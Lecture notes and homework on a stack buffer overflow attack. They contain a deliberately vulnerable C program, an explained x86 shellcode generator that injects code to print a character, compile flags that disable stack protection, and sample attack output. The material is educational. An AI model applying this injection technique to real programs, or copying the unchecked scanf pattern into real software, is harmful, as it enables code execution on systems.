lecture 3: Buffer Overflow attack

In lect2, we were able to give a long input to break the program. Now we want to make the victim program to run our code. We give an input such that it overflows the return address of the victim program and make it return to the starting location of our input code.

Homework

1) Change f2.c as follows. What is the location of id[] inside gdb? What is the real location of id[] during the execution? How far is id[] from the stack location where the return address for "foo" is stored?

#include <stdio.h>

void foo(){

char id[16];

printf("id location:%p. enter id\n", id);

scanf("%s", id);

printf("you entered %s \n", id);

}

int main(){

foo();

printf("program ends here\n");

return 0;

}

2) Make an attack input file, attack-inp2, so that this program repeats "enter id" twice.

$ ./f2 < attack-inp2

id loc: ...... enter id

you entered ..........

id loc: ....... enter id

you entered ...........

3) Make an attack input file, attack-inp3, that contains attack code using inp-write3.c below. Attack f2 with this input file. f2 should execute the injected code and prints a. The return address in inp-write3.c should be changed appropriately. You also need "-z execstack" option when compiling f2.c to allow executable stack. The scanf() in f2.c stops reading bytes when it sees a whitespace (0x9, 0xa, 0xb, 0xc, 0xd, or 0x20) or end-of-string(0x00), so make sure your attack-inp does not contain any of these. If it contains any of them, you should change the size of id[] to avoid them.

$ gcc -m32 –o f2 –z execstack f2.c

inp-write3.c

#include <stdio.h>

void main(){

   printf("\x6a\x61");                   // push 0x61. to write ‘a’

   printf("\x89\xe6");                   // mov esi, esp. buf location

   printf("\x31\xc0");                   // xor eax, eax

   printf("\xb0\x04");                   //mov al, 0x4 system call number for write()

   printf("\x31\xdb");                   //xor ebx, ebx

   printf("\xb3\x01");                   //mov bl, 0x1 file number

   printf("\x89\xf1");                   //mov ecx, esi

   printf("\x31\xd2");                   //xor edx, edx

   printf("\xb2\x01");                   //mov dl, 0x1 num of bytes to write

   printf("\xcd\x80");                   //int 0x80. write(1, buf, 1). write 'a' in the screen.

   printf("\x31\xc0");                   //xor eax, eax

   printf("\xb0\x01");                   //mov al, 0x1 system call number for exit()

   printf("\x31\xdb");                   //xor ebx, ebx

   printf("\xcd\x80");                   //int 0x80. exit(0)

   printf("\x60\xfb\xff\xbf");           // ret addr

}

$./inp-write3 > attack-inp3

$ xxd attack-inp3

000000 6a 61 89 e6 31 c0 b0 04 31 db b3 01 89 f1 31 d2

000010 b2 01 cd 80 31 c0 b0 01 31 db cd 80 60 fb ff bf

000020

$ ./f2 < attack-inp3

id loc: 0xffffd630. enter id

you entered ....................

a

4) Modify your code such that it displays 'b' instead of 'a'.

5) Modify your code such that it displays 'ab'.

Explanation about the ASM code in inp-write3.c.

It is ASM code for following C code:

void main(){

char buf;

buf='a';

write(1, &buf, 1); // display 'a' in file 1, which is the screen.

exit(0);

}

write(x, &buf, n) can be written in ASM:

1) mov ebx, x ; x is the file number. pass "file number" in ebx

2) mov ecx, &buf ; buf has the data. pass its address in ecx

3) mov edx, n ; n is the number of bytes to write. pass it in edx

4) mov eax, 4 ; system call number for write() is 4. pass system call number in eax

5) int 0x80 ; sytem call interrupt

exit(x) can be written in ASM:

1) mov ebx, x ; x is the exit code. pass "exit code" in ebx

2) mov eax, 1 ; system call number for exit() is 1. pass system call number in eax

3) int 0x80 ; system call interrupt

// buf='a'; write(1, &buf, 1);

   printf("\x6a\x61");                   // push 0x61. buf='a'. allocate buf in the stack ans store 'a'

   printf("\x89\xe6");                   // mov esi, esp. now esi points to buf

   printf("\x31\xc0");                   // xor eax, eax. eax will become zero by self-xoring

   printf("\xb0\x04");                   //mov al, 0x4. store system call number for write(). step 4)

   printf("\x31\xdb");                   //xor ebx, ebx. ebx will become zero by self-xoring

   printf("\xb3\x01");                   //mov bl, 0x1. store file number. step 1)

   printf("\x89\xf1");                   //mov ecx, esi. store buf address in ecx. step 2)

   printf("\x31\xd2");                   //xor edx, edx

   printf("\xb2\x01");                   //mov dl, 0x1. store num of bytes to write. step 3)

   printf("\xcd\x80");                   //int 0x80. write(1, &buf, 1). write 'a' in the screen. step 5)

   // exit(0);

 printf("\x31\xc0");                   //xor eax, eax.

   printf("\xb0\x01");                   //mov al, 0x1. system call number for exit(). step 2)

   printf("\x31\xdb");                   //xor ebx, ebx. ebx become zero. pass exit code in ebx. step 1)

   printf("\xcd\x80");                   //int 0x80. exit(0). step 3)

   printf("\x60\xfb\xff\xbf");           // ret addr